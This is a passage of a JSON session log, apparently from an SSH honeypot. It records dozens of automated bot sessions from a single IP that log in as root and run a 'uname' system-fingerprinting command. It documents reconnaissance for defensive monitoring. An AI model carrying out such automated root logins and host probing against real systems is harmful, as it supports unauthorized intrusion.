  "ended_at": "2026-08-26T06:24:36.978311+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d50e3c6a-9212-4c86-b028-71b3c4693a08",
  "name": "blithe-creaky-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 45922,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:24:11.891846+00:00",
  "ended_at": "2026-08-26T06:24:15.909699+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d0ef1288-37d9-48d8-88a2-e32a57713200",
  "name": "barren-watchful-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48622,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:23:48.492139+00:00",
  "ended_at": "2026-08-26T06:23:51.151008+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f1550fe2-13c5-483a-a27c-7493701edf97",
  "name": "kindly-lanky-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58982,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:23:35.721601+00:00",
  "ended_at": "2026-08-26T06:23:39.797078+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ef73c704-6657-4682-a08f-226fccebd2fb",
  "name": "woven-amber-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 55258,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:22:45.216861+00:00",
  "ended_at": "2026-08-26T06:22:50.363677+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bbaff8d0-8ae8-44b1-bec6-ad2c2941ce26",
  "name": "jaunty-diligent-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 49374,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:22:38.061643+00:00",
  "ended_at": "2026-08-26T06:22:42.087633+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "91ce76be-019c-42d4-857f-fe28560d6653",
  "name": "orderly-crystal-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40088,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:22:27.370239+00:00",
  "ended_at": "2026-08-26T06:22:33.351744+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9f9b5ee3-58e5-4e60-82a8-97d8047d7d64",
  "name": "marbled-granite-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 60268,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:21:59.862813+00:00",
  "ended_at": "2026-08-26T06:22:04.101773+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6eeec7bd-4d16-4297-8aed-bf5ea1dcdfd9",
  "name": "dewy-slender-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56318,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:21:38.757207+00:00",
  "ended_at": "2026-08-26T06:21:43.788555+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2983d75f-00e5-4c79-97cc-05561bc29a1a",
  "name": "gnarled-kindly-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53070,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 234,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:21:34.680172+00:00",
  "ended_at": "2026-08-26T06:21:40.084003+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a8cfb999-b71e-431b-829d-50c583d3930a",
  "name": "jagged-deft-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48662,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:20:32.192158+00:00",
  "ended_at": "2026-08-26T06:20:35.805007+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ae4b52c8-2a2e-46ef-8496-78f6ef2c82ea",
  "name": "ruddy-knotted-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:20:03.592824+00:00",
  "ended_at": "2026-08-26T06:20:07.198678+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "78cfe7e1-12e5-45a3-9a51-b4a3754f3014",
  "name": "painted-fearless-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:19:58.278529+00:00",
  "ended_at": "2026-08-26T06:20:02.240365+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "87180860-bb09-4c63-bcce-03791b0077d7",
  "name": "humble-regal-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 34642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:19:17.275450+00:00",
  "ended_at": "2026-08-26T06:19:20.529620+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "362dfa37-279b-472b-b0db-6cc686768189",
  "name": "keen-genial-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 51328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:19:07.931587+00:00",
  "ended_at": "2026-08-26T06:19:13.223441+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "abe143a9-4b7f-425b-8564-e07d8c74062b",
  "name": "electric-seaward-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 51876,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:18:49.568817+00:00",
  "ended_at": "2026-08-26T06:18:52.606612+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e2720f07-2b0b-4309-958c-2eaa22f18a58",
  "name": "sunlit-blunt-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44362,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 194,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:18:37.922679+00:00",
  "ended_at": "2026-08-26T06:18:40.874006+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dcea2bcf-02e0-45d5-a35e-5f956112c016",
  "name": "loyal-crystal-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 45022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:18:23.298343+00:00",
  "ended_at": "2026-08-26T06:18:27.228571+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "45cf9daf-7ee4-4793-9ff1-99f3f75a20f3",
  "name": "vivid-lofty-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43398,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:18:02.906052+00:00",
  "ended_at": "2026-08-26T06:18:07.320887+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e9faa567-c13e-47d4-b2dc-ce5b73ed59de",
  "name": "blunt-shifting-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58018,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:17:51.471168+00:00",
  "ended_at": "2026-08-26T06:17:56.759586+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d8f349bd-d13b-4532-a5ac-42ba4f47be4f",
  "name": "grumpy-breezy-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 57946,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:17:45.985276+00:00",
  "ended_at": "2026-08-26T06:17:49.911153+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "29ebe8ed-ae0e-4e50-a3ff-d8a64371b7b4",
  "name": "tranquil-primal-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:17:24.929737+00:00",
  "ended_at": "2026-08-26T06:17:29.191870+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b67c82c1-7781-4d9b-a9a6-cfd492b92dec",
  "name": "jaunty-russet-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 33124,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 213,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:16:55.727998+00:00",
  "ended_at": "2026-08-26T06:17:00.989016+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9f5cb6aa-2077-4b23-8f6f-ad0e1849c018",
  "name": "tawny-buoyant-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40842,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:16:30.477845+00:00",
  "ended_at": "2026-08-26T06:16:35.355125+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1ab6059d-bb0c-4994-93f0-1c212fa3ae95",
  "name": "chilly-patient-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40796,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:16:11.761253+00:00",
  "ended_at": "2026-08-26T06:16:17.781885+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "11248365-5314-441d-a361-ab0e1c253ebd",
  "name": "wandering-nimble-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44196,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 216,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:15:55.980887+00:00",
  "ended_at": "2026-08-26T06:15:56.968645+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9e49e071-a03b-4672-a586-65952e1346c8",
  "name": "diligent-western-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54778,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:15:33.639332+00:00",
  "ended_at": "2026-08-26T06:15:35.698166+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ef091bed-0422-478f-80f5-4dd04a037071",
  "name": "airy-thorny-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54748,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:15:24.247039+00:00",
  "ended_at": "2026-08-26T06:15:25.765676+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a3735511-92ad-4b57-9b92-191f170f852d",
  "name": "slender-foggy-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 47852,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:14:30.231098+00:00",
  "ended_at": "2026-08-26T06:14:30.652826+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dca2be18-bd04-4afe-a926-b323f7f2f687",
  "name": "solemn-fleeting-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 57936,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:13:09.341402+00:00",
  "ended_at": "2026-08-26T06:13:14.237703+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e0d54987-24a1-483b-86b7-471e4d0db50d",
  "name": "gleaming-mossy-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 59978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 362,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:12:50.636307+00:00",
  "ended_at": "2026-08-26T06:12:55.957193+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "47feb12a-605d-4d84-8481-aa3c59e8f3ac",
  "name": "granite-balmy-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56246,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:12:50.278687+00:00",
  "ended_at": "2026-08-26T06:12:54.023459+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c552b218-6947-4cab-9bf9-129ab4379f9b",
  "name": "ginger-diligent-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 34918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:12:34.623376+00:00",
  "ended_at": "2026-08-26T06:12:37.310171+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0d798e2f-522b-4b79-8da6-6f0712520607",
  "name": "ivory-vigilant-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 37554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:12:33.529756+00:00",
  "ended_at": "2026-08-26T06:12:38.836298+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "190caa2f-9c27-47cb-8e12-a2e2ef70ca53",
  "name": "breezy-patient-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54040,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:12:10.081383+00:00",
  "ended_at": "2026-08-26T06:12:13.925690+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "560c6b0e-dd49-4ad5-999f-b80ee99cb1f3",
  "name": "painted-solar-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 35790,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 312,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:11:36.811059+00:00",
  "ended_at": "2026-08-26T06:11:39.510762+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "98a6c7bd-886a-42cb-9d35-fa95482b9901",
  "name": "hushed-electric-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50768,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:11:21.030727+00:00",
  "ended_at": "2026-08-26T06:11:24.486880+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1bd0b7f9-55b6-48c0-9bfd-0289002814a2",
  "name": "twilight-supple-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:11:20.745799+00:00",
  "ended_at": "2026-08-26T06:11:25.775834+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e087668f-b081-4c1c-834b-116d2a97b6b3",
  "name": "fabled-gallant-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 60822,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:10:54.383604+00:00",
  "ended_at": "2026-08-26T06:10:59.293057+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8320ce8c-93b9-44b9-96c7-70bc2ac4065e",
  "name": "graceful-inland-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 175,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:10:37.674186+00:00",
  "ended_at": "2026-08-26T06:10:41.736117+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b9dc4727-043e-4375-b6c8-2cf5ec49300d",
  "name": "pewter-jovial-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 37466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:09:47.984545+00:00",
  "ended_at": "2026-08-26T06:09:52.417842+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e77db003-4842-4757-99b8-2852b9060a9f",
  "name": "whispering-plush-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 51346,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:09:46.733412+00:00",
  "ended_at": "2026-08-26T06:09:52.175187+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "77591302-9919-427d-833f-2a32d4d22d96",
  "name": "velvet-marine-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 51280,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:09:34.170933+00:00",
  "ended_at": "2026-08-26T06:09:37.573085+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9cdebd37-f588-4be7-b043-fa150624fb3a",
  "name": "amiable-forlorn-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 49798,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:09:25.645936+00:00",
  "ended_at": "2026-08-26T06:09:28.996312+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3cc00743-5a52-43be-a08e-a561a3726308",
  "name": "humble-arctic-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38160,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:09:12.606072+00:00",
  "ended_at": "2026-08-26T06:09:15.223898+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "671d432b-7b0c-4999-af72-3be21d270443",
  "name": "hearty-calm-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 34488,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:09:07.607457+00:00",
  "ended_at": "2026-08-26T06:09:12.905432+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5ec80f05-7835-4c3e-b554-4fbbfc1fa016",
  "name": "tawny-patient-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38138,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:09:06.232441+00:00",
  "ended_at": "2026-08-26T06:09:10.137897+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fa8ff7d6-6e69-4956-a242-d2d88fd2f7cc",
  "name": "windswept-creaky-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48812,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:08:28.583169+00:00",
  "ended_at": "2026-08-26T06:08:32.957556+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d6d1ad80-2ea0-4d49-b699-852389e453de",
  "name": "languid-twilight-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 41716,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:08:05.539417+00:00",
  "ended_at": "2026-08-26T06:08:09.959620+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "174b26f9-bb95-46f7-9312-7cb124c8eac3",
  "name": "nautical-gallant-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 34688,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:07:53.700572+00:00",
  "ended_at": "2026-08-26T06:07:59.386613+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c6afb735-d4c5-42ac-929e-a749c20c86d5",
  "name": "lanky-foggy-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53814,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:07:49.596631+00:00",
